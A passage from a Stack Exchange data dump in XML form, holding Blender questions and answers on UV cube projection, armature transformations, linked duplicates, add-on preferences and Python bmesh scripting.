Scripts&lt;/code&gt; is checked and saved in the user preferences.&lt;/li&gt;&#xA;&lt;li&gt;I've tried placing &lt;code&gt;-y&lt;/code&gt; among the command-line arguments&lt;/li&gt;&#xA;&lt;li&gt;I've tried storing &lt;code&gt;script.py&lt;/code&gt; as an external file and loading it using &lt;code&gt;-P script.py&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;When I print the matrix &lt;code&gt;m&lt;/code&gt; in &lt;code&gt;rotByIndex&lt;/code&gt;, Blender shows that it's getting and updating the matrix appropriately in batch mode.  So I know &lt;code&gt;rotByIndex&lt;/code&gt; is being called on frame changes and that it has access to &lt;code&gt;posList&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does anybody know why my object isn't updating properly when not in the GUI?&lt;/p&gt;&#xA;" OwnerUserId="14434" LastActivityDate="2016-02-05T17:04:22.127" Title="Object transformations not applying when running Blender in batch mode" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transforms&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31024" PostTypeId="1" AcceptedAnswerId="31037" CreationDate="2015-05-18T02:38:07.397" Score="1" ViewCount="997" Body="&lt;p&gt;I have a new project i'm working on that involves a lot of character transformations, I was wondering the best way to go about this as a blender apprentice, I've gotten pretty good with armatures, mesh creating, shape keys, and some physics. Im wondering is there a way to make a rigged armature transform in to a similar rigged armature. Like a human arm transforming into a monster arm, on the same body. I feel like shape keys might be the way, but how does that incorporate armatures and color/ texture changes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://static.giantbomb.com/uploads/original/13/132031/2025184-sc5_nightmare.jpg&quot; rel=&quot;nofollow&quot;&gt;http://static.giantbomb.com/uploads/original/13/132031/2025184-sc5_nightmare.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nightmare's (from soul calibur) arms is what the end product will be similar to, and from a normal human arm. &lt;/p&gt;&#xA;" OwnerUserId="13912" LastActivityDate="2015-05-18T07:46:21.273" Title="Mesh Transformation with rig?" Tags="&lt;mesh&gt;&lt;armature&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31026" PostTypeId="1" CreationDate="2015-05-18T03:03:34.270" Score="1" ViewCount="2041" Body="&lt;p&gt;As the title says, I'm trying to make a new cube and cube projection in my current scene and it just is not working. In a new scene it looks like this: &lt;img src=&quot;https://i.stack.imgur.com/uyUEo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my current scene it looks like this: &lt;img src=&quot;https://i.stack.imgur.com/PfdkM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty confused as to whats happening differently between the two scenes. Both are new cubes with no modifiers at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know I've been asking a lot of questions lately, hope I'm not breaking any rules) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? What factors cause the cube projection to be different between scenes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Creation .gif : &lt;img src=&quot;https://i.stack.imgur.com/IFQfP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13512" LastEditorUserId="13512" LastEditDate="2015-05-18T03:20:57.180" LastActivityDate="2015-05-18T04:01:19.603" Title="Why is my cube projection messed up in one scene but not the other?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="31027" PostTypeId="2" ParentId="30988" CreationDate="2015-05-18T03:42:57.367" Score="3" Body="&lt;p&gt;Did you do any extrude operations and cancel them with Esc prior to doing the translate?  This is an error I made early on, not realizing that Extrude was a macro and hitting Esc cancels the grab of the duplicate vertices rather than the duplication of the vertices.  So for example, if you hit E to extrude, hit Esc to cancel, then hit G to translate, you'll be translating a duplicate set of vertices.&lt;/p&gt;&#xA;" OwnerUserId="14435" LastActivityDate="2015-05-18T03:42:57.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31028" PostTypeId="2" ParentId="31026" CreationDate="2015-05-18T03:47:31.243" Score="1" Body="&lt;p&gt;To unwrap a cube there are a few options.&#xA;Mark the seams like this and unwrap:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7a2D3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other way with no seams is to select a face to make it active, then select all of them with &lt;kbd&gt;A&lt;/kbd&gt; and unwrap with follow active quads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DvZga.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-18T03:47:31.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31029" PostTypeId="1" AcceptedAnswerId="31032" CreationDate="2015-05-18T03:48:55.597" Score="4" ViewCount="1263" Body="&lt;p&gt;So I was just modeling a Pokeball to upload to Deviant Art for fun. And as soon as I left the live preview in object mode as seen here(Picture 1)&lt;img src=&quot;https://i.stack.imgur.com/nG6zp.jpg&quot; alt=&quot;live preview&quot;&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went to start adjusting the camera only to be greeted with this(Picture 2).&lt;img src=&quot;https://i.stack.imgur.com/5JRD0.png&quot; alt=&quot;object mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh is still fine in edit mode. I am just wondering what it is and why Blender is replacing the spheres with what would belong to a science fiction game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="13126" LastEditorUserId="241" LastEditDate="2015-05-18T10:23:38.763" LastActivityDate="2020-03-26T23:29:43.723" Title="Why is my object appearing as a series of incomplete lines in the 3D view?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31030" PostTypeId="2" ParentId="31026" CreationDate="2015-05-18T03:53:55.543" Score="2" Body="&lt;p&gt;Cube projection will project the mesh from 6 view directions ignoring the seams, and depends where the mesh located in 3D space and its rotation, UVs position will be calculated in UV/Image Editor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender offers several ways of mapping UVs. The simpler projection&#xA;  methods use formulas that map 3d space onto 2d space, by interpolating&#xA;  the position of points toward a point/axis/plane through a surface.&#xA;  The more advanced methods can be used with more complex models, and&#xA;  have more specific uses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/manual/render/blender_render/textures/mapping/uv/unwrapping.html?highlight=cube%20projection#mapping-types&quot; rel=&quot;nofollow&quot;&gt;UV Mapping a Mesh&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-05-18T04:01:19.603" LastActivityDate="2015-05-18T04:01:19.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31031" PostTypeId="1" AcceptedAnswerId="31038" CreationDate="2015-05-18T04:03:54.457" Score="5" ViewCount="2634" Body="&lt;p&gt;I duplicated some meshes to make a stack of blocks by using &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;. When I apply material for one mesh, it will also be copied to the linked meshes. I know I can use &lt;kbd&gt;U&lt;/kbd&gt; and then 'Material and tex'. But what will happen when I do the other options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Object&lt;/li&gt;&#xA;&lt;li&gt;Object &amp;amp; Data&lt;/li&gt;&#xA;&lt;li&gt;Object &amp;amp; Data &amp;amp; Material &amp;amp; tex&lt;/li&gt;&#xA;&lt;li&gt;Object animation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which one is recommended for making a rigid body simulation with a stack of blocks that will flip over? Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-05-18T04:46:54.903" LastActivityDate="2017-06-01T03:49:28.953" Title="Unlinking object" Tags="&lt;materials&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31032" PostTypeId="2" ParentId="31029" CreationDate="2015-05-18T04:08:31.660" Score="5" Body="&lt;p&gt;Change viewport shading from Wireframe to Rendered, Material, Texture or Solid.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m8bgm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display all the edges in Wireframe Shading enable &lt;strong&gt;Draw All Edges&lt;/strong&gt; in Object Data tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/idIZl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-05-18T04:40:10.900" LastActivityDate="2015-05-18T04:40:10.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31033" PostTypeId="2" ParentId="31029" CreationDate="2015-05-18T04:18:19.343" Score="0" Body="&lt;p&gt;I think this happens when a 'Subsurf' modifier is applied with high 'subdivision' values. And when you enter 'Edit mode' and exit it to 'Object mode', then the mesh is almost invisible in 'wireframe shading'. Switching from 'wireframe' to any other shading and back to 'wireframe' is not a solution, unless you want to view it in 'solid mode'. In 'solid shading' the mesh is visible, but I think you want to know how to make the mesh visible in 'wireframe shading' :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution could be to again apply a 'Subsurf' modifier, but set the 'render' value to 0, and 'view' value to 1. So the 'extra' 'subsurf' will not be rendered, but it will make the mesh visible in the 3D view.&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-18T04:18:19.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31034" PostTypeId="1" CreationDate="2015-05-18T05:39:13.517" Score="2" ViewCount="1985" Body="&lt;p&gt;I'm trying to smooth an object in sculpting mode using the smoothing brush, but when I click my computer just lags and nothing changes. &lt;img src=&quot;https://i.stack.imgur.com/yxfDb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14421" LastActivityDate="2015-05-18T05:39:13.517" Title="Why doesn't smoothing work in sculpting mode?" Tags="&lt;sculpting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31035" PostTypeId="1" AcceptedAnswerId="31036" CreationDate="2015-05-18T07:08:29.343" Score="8" ViewCount="2181" Body="&lt;p&gt;I'm not entirely sure what happened, maybe a hit the wrong key. ut my properties bar is horizontal, it's playing hell with my ability to select anything that takes up a lot of vertical room (like modifiers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kHkZu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about correcting this?&lt;/p&gt;&#xA;" OwnerUserId="13512" LastEditorUserId="47" LastEditDate="2015-05-18T07:26:43.610" LastActivityDate="2015-05-18T07:26:43.610" Title="My properties panel is horizontal, how do I turn it back to vertical?" Tags="&lt;interface&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31036" PostTypeId="2" ParentId="31035" CreationDate="2015-05-18T07:23:51.220" Score="10" Body="&lt;p&gt;Rightclick in the panel, and pick Vertical&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g3kaY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-18T07:23:51.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31037" PostTypeId="2" ParentId="31024" CreationDate="2015-05-18T07:31:20.830" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;An example.  Lets pretend the monster is more muscular than the human.&lt;/li&gt;&#xA;&lt;li&gt;In general any mesh shape change is fair game&lt;/li&gt;&#xA;&lt;li&gt;Some 3D armature bones control organic bone rotations.  Other 3D bones control more organic muscular mesh transformations.  There are big muscles such as thighs and smaller muscles in the face.&lt;/li&gt;&#xA;&lt;li&gt;Armature.  Bones that are not moved on the bicep for a human can be moved for the monster to create a larger bicep.  This bone would not be involved in arm rotation and perhaps not connected.  Perhaps a child of the upper arm bone.&lt;/li&gt;&#xA;&lt;li&gt;A lattice can be used to create a larger bicep for the monster.&lt;/li&gt;&#xA;&lt;li&gt;Since facial features can be controlled by bones.  Exaggerated positions may be useful.  Please search facial feature rigs.&lt;/li&gt;&#xA;&lt;li&gt;Displacement textures to create non smooth skin.&lt;/li&gt;&#xA;&lt;li&gt;Use a [custom property] (value on the object) float number ... which varies from 0.0 to 0.5 to 1.0. This custom property can have a keyframe.&lt;/li&gt;&#xA;&lt;li&gt;Using the custom property with a Blender Python driver to control values of colors and location.  0.0 might indicate human. 1.0 might indicate monster. 0.5 will be the mix of human and monster.  Morph.&lt;/li&gt;&#xA;&lt;li&gt;Using the custom property blend the skin from some human color to monster color such as green or purple.  Or blend some monster skin texture.&lt;/li&gt;&#xA;&lt;li&gt;Shape Keys.  Keep in mind bones have a natural sense of rotation.  Shape keys in their primitive state do not.  The more shape keys, the smoother the transition, the more work to coordinate shape keys.&lt;/li&gt;&#xA;&lt;li&gt;For extreme mesh changes such as monster horns keep in mind that extra mesh vertices can create smoothing problems for the human.  Consider using two meshes and the convenient blinding light flash or image transparency blending.  Such cheap slight of image.  Two meshes can share an armature.  Not trivial.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-18T07:46:21.273" LastActivityDate="2015-05-18T07:46:21.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31038" PostTypeId="2" ParentId="31031" CreationDate="2015-05-18T08:04:33.640" Score="6" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oDsGI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can have different materials for instance if you choose to link the material to the object, not to the data. I'm not sure I understand well the question but for having not linked mesh and material you can also do :&#xA;make single user /Object &amp;amp; Data &amp;amp; Material &amp;amp; tex &lt;/p&gt;&#xA;" OwnerUserId="14438" LastEditorUserId="14438" LastEditDate="2015-05-18T15:12:20.120" LastActivityDate="2015-05-18T15:12:20.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31040" PostTypeId="1" AcceptedAnswerId="31041" CreationDate="2015-05-18T10:56:54.740" Score="4" ViewCount="603" Body="&lt;p&gt;I have something like this in the my add-on &lt;code&gt;__init__&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyPreferences(AddonPreferences):&#xA;&#xA;    bl_idname = __name__&#xA;&#xA;    num = IntProperty(name=&quot;Number&quot;, default=888)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop(self, &quot;num&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to get this number from another file, and &quot;MyPreferences.num&quot; doesn't work. It returns a tuple, where the first value is &quot;&amp;lt;built-in function IntProperty&amp;gt;&quot; and the second value is a dictionary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can access the dictionary values, but the only ones available are &quot;name&quot;, &quot;attr&quot;, and &quot;default&quot;, so if the user changes the property, I can't access the new value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="14440" LastEditorUserId="14440" LastEditDate="2015-05-18T12:20:14.737" LastActivityDate="2015-05-18T12:20:14.737" Title="Cannot access to addon preference value" Tags="&lt;add-on&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31041" PostTypeId="2" ParentId="31040" CreationDate="2015-05-18T11:24:21.913" Score="5" Body="&lt;p&gt;Something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addon = bpy.context.user_preferences.addons.get(addon_name)&#xA;if addon:&#xA;    prefs = addon.preferences&#xA;    print(prefs['num'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-18T11:40:34.057" LastActivityDate="2015-05-18T11:40:34.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31042" PostTypeId="2" ParentId="30995" CreationDate="2015-05-18T11:57:29.980" Score="5" Body="&lt;p&gt;This seems to work, in edit mode (for the simplicity of example)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;face = [bm.faces.active]&#xA;&#xA;bmesh.ops.inset_region(bm, faces=face, thickness=0.4)&#xA;bmesh.ops.inset_region(bm, faces=face, thickness=0, depth=-0.5)&#xA;&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R1y4Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding &lt;code&gt;bmesh.ops.scale()&lt;/code&gt;, it takes a &lt;code&gt;space&lt;/code&gt; argument which is a matrix to base the operation on. If you are comfortable generating matrices then that's probably enough, but if not then see this snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template can be found at TextEditor-&gt;Templates-&gt;Python-&gt;Bmesh Simple&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector, Matrix&#xA;&#xA;# Get the active mesh&#xA;me = bpy.context.object.data&#xA;bm = bmesh.new()   # create an empty BMesh&#xA;bm.from_mesh(me)   # fill it in from a Mesh&#xA;&#xA;bm.edges.ensure_lookup_table()&#xA;bm.verts.ensure_lookup_table()&#xA;&#xA;e = bm.edges[0]&#xA;&#xA;mid_invert = (e.verts[0].co + e.verts[1].co) * -0.5&#xA;edge_matrix = Matrix()&#xA;edge_matrix[0][3] = mid_invert[0]&#xA;edge_matrix[1][3] = mid_invert[1]&#xA;edge_matrix[2][3] = mid_invert[2]&#xA;&#xA;factor = (0.5, 0.5, 0.5)&#xA;bmesh.ops.scale(bm, vec=factor, space=edge_matrix, verts=e.verts)&#xA;&#xA;# Finish up, write the bmesh back to the mesh&#xA;bm.to_mesh(me)&#xA;bm.free()  # free and prevent further access&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm almost positive that there is an easier way to construct the &lt;code&gt;space&lt;/code&gt; matrix, given a simple 3-vector, rather than my verbose approach.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-19T05:45:31.097" LastActivityDate="2015-05-19T05:45:31.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31043" PostTypeId="1" CreationDate="2015-05-18T12:01:29.557" Score="2" ViewCount="344" Body="&lt;p&gt;I set the key layout to Maya's to work faster, everything goes great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when using F key (i don't remember which one is in blender, but the center viewport position and rotation to selected object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then everything goes wrong. I'm not able to get near the object. The position where the camera gets centered is another , far from the object. Their pivot point is where i want to look, but the vew goes away, and moving is a nightmare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, when trying to approach the object i wanted to center on, the camera gets slower and slower (as in Maya) but I'm not able to get there...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a bug or something? What do you suggest me todo, instead? but not turning to blender layout, please. :-)&lt;/p&gt;&#xA;" OwnerUserId="14131" LastActivityDate="2015-05-19T12:49:08.160" Title="Center viewport key in Blender breaks the viewport" Tags="&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31044" PostTypeId="1" CreationDate="2015-05-18T12:17:11.707" Score="2" ViewCount="206" Body="&lt;p&gt;I have a blender object, and a large number of materials that I need to apply to the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please share a python script that applies various materials to an object in a loop and saves output images to a given location?&lt;/p&gt;&#xA;" OwnerUserId="9640" LastEditorUserId="7777" LastEditDate="2015-05-18T13:24:53.473" LastActivityDate="2015-05-18T13:25:47.043" Title="Render multiple material previews" Tags="&lt;python&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31045" PostTypeId="1" CreationDate="2015-05-18T12:58:07.920" Score="14" ViewCount="18991" Body="&lt;p&gt;I know that nobody likes duplicate questions, but I haven't found my answer on any of the other questions with this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built a computer with a &lt;a href=&quot;http://www.newegg.com/Product/Product.aspx?Item=N82E16814125510&amp;amp;cm_re=2GB_Geforce_GTX_750-_-14-125-510-_-Product&quot;&gt;GeForce GTX 750 GPU&lt;/a&gt; (made by Gigabyte).  It supposedly has 512 CUDA cores.  I followed &lt;a href=&quot;https://www.youtube.com/watch?v=AkKkuzWlaGo&quot;&gt;this&lt;/a&gt; tutorial, (which enabled the Nvidia proprietary drivers) and was able to enable dual monitors and all the desktop graphics that are needed.  Unfortunetly, the GPU processing option still doesn't show up in Blender.  I've tried installing nvidia-cuda-toolkit, and that didn't make a difference.  I also tried to update my drivers from nvidia-346 to nvidia-349, and this had no apparent effect either.  What can I do to enable GPU rendering?  (I've tried both blender installed and just downloaded from the site).&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorDisplayName="user1853" LastEditDate="2015-05-28T17:15:20.840" LastActivityDate="2015-07-27T18:06:04.590" Title="CUDA rendering on Linux Mint or Ubuntu variants" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;linux&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="6" ClosedDate="2015-07-27T18:50:24.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="31046" PostTypeId="2" ParentId="31044" CreationDate="2015-05-18T13:04:49.430" Score="2" Body="&lt;p&gt;This code will animate (cycle) through all materials based on current frame value. Run this in Text editor, select some object (it works on active object), set frame range from 0 to &lt;code&gt;number_of_materials-1&lt;/code&gt; and render the animation as images.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def my_handler(scene):&#xA;    if bpy.data.materials:&#xA;        ob = bpy.context.active_object&#xA;        mat = bpy.data.materials[min(len(bpy.data.materials)-1, scene.frame_current)]&#xA;        if len(ob.data.materials):&#xA;            ob.data.materials[0] = mat&#xA;        else:&#xA;            ob.data.materials.append(mat)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-18T13:25:47.043" LastActivityDate="2015-05-18T13:25:47.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31047" PostTypeId="1" CreationDate="2015-05-18T13:40:06.597" Score="1" ViewCount="134" Body="&lt;p&gt;I have encountered a wierd problem. Have created a model in Blender 2.73, rigged with Rigify and animated. Everything works just perfect. Now when I have downloaded the new Blender 2.74 and opened the very same .blend file the model is distorted. Looks like all bones are concentrated around the middle of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens only in the Pose mode. In Blender 2.74 Object or Edit modes are working fine i.e. the mesh is displayed in T pose again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did try FBX export/import but the result is the same.&#xA;I did reset to the Pose to T pose, zeroed IKs for arms &amp;amp; legs then saved the model in 2.73 and opened in 2.74 - did not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues what needs to be done ?&lt;/p&gt;&#xA;" OwnerUserId="14443" LastActivityDate="2015-05-18T15:09:33.060" Title="Blender 2.74 - problem opening rigged model created in 2.73" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31048" PostTypeId="1" AcceptedAnswerId="31056" CreationDate="2015-05-18T13:53:14.893" Score="1" ViewCount="674" Body="&lt;p&gt;When i move hips bone and keyframe it, its position does not interpolate, but it stays in the same position. However, rotation on leg bones (caused by IK chain when moving hips) is keyframing properly.&#xA;Here is my .blend file: &lt;a href=&quot;http://www.pasteall.org/blend/36121&quot; rel=&quot;nofollow noreferrer&quot;&gt;BLEND FILE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set the keyset to LocRot, so it should be ok. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( The problem came up from troubleshooting &lt;a href=&quot;https://blender.stackexchange.com/questions/30871/how-to-make-feet-act-as-lower-position-limit-for-ik-rigs&quot;&gt;THIS&lt;/a&gt; one )&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-07-02T02:17:32.687" Title="Why I can't keyframe position of hips bone?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31049" PostTypeId="1" AcceptedAnswerId="31058" CreationDate="2015-05-18T14:35:50.620" Score="2" ViewCount="474" Body="&lt;p&gt;Most materials is simulater with a white specular component. Now, if I mix the specular component with the diffuse component, the diffuse component becomes desaturated. How can I avoid this. The problem arises in Cycles, Blender internal, and in other CG lightning models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example, see &lt;a href=&quot;http://www.chocofur.com/6-shadersamptextures.html&quot; rel=&quot;nofollow&quot;&gt;http://www.chocofur.com/6-shadersamptextures.html&lt;/a&gt;, especially &quot;Reflection factor&quot;&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="3258" LastEditDate="2015-05-18T17:32:04.743" LastActivityDate="2015-05-18T17:32:04.743" Title="How to avoid desaturation when using glossy material" Tags="&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31050" PostTypeId="1" CreationDate="2015-05-18T15:07:24.927" Score="2" ViewCount="211" Body="&lt;p&gt;I am new to blender, and I just finished my first low poly scene. I would like to add a night sky background, but when I click render, the sky disappears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to render my scene with the background? I have the Sky option checked in the 'Shading' tab as well as in the Render Layer.&lt;/p&gt;&#xA;" OwnerUserId="14447" LastActivityDate="2015-05-18T15:47:59.723" Title="Blender Render, can't render a background" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31052" PostTypeId="1" AcceptedAnswerId="31053" CreationDate="2015-05-18T15:31:29.623" Score="2" ViewCount="2025" Body="&lt;p&gt;I'm using Blender 2.73 on MacOS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been happily blending away for months since the last time I had a prob with modifiers. But not much issue lately. Suddenly I had a crash (I was subsurface-modifying and it went into a perpetual spin that wouldn't finish.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I lost some work, but picked up from my last save again and kept going.  As I came to the steps where I need a few boolean difference operation, I couldn't use it anymore - it's shaded red (see pic) and it failed to apply.&lt;img src=&quot;https://i.stack.imgur.com/abwdq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a cube and tried with that, and it failed to apply also. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new empty file (below), and it also shows boolean as red, and when I try to apply, it does strange things. Intersect instead of difference etc.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tqN5G.png&quot; alt=&quot;red boolean&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;https://www.sendspace.com/file/3lp1eb&quot; rel=&quot;nofollow noreferrer&quot;&gt;a copy of the file&lt;/a&gt; for download - just two cubes. Can you see some setting that's precluding me from using the boolean modifier or making it behave weirdly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question then is what does the red shading indicate? I searched the docs for &quot;boolean modifier&quot; and &quot;red&quot; and can't find any explanations. Googled wildly without any success.&lt;/p&gt;&#xA;" OwnerUserId="7785" LastEditorUserId="7785" LastEditDate="2015-05-18T15:38:29.797" LastActivityDate="2015-05-18T16:51:26.127" Title="Boolean Modifier Red Won't Work or Behaves Strange" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
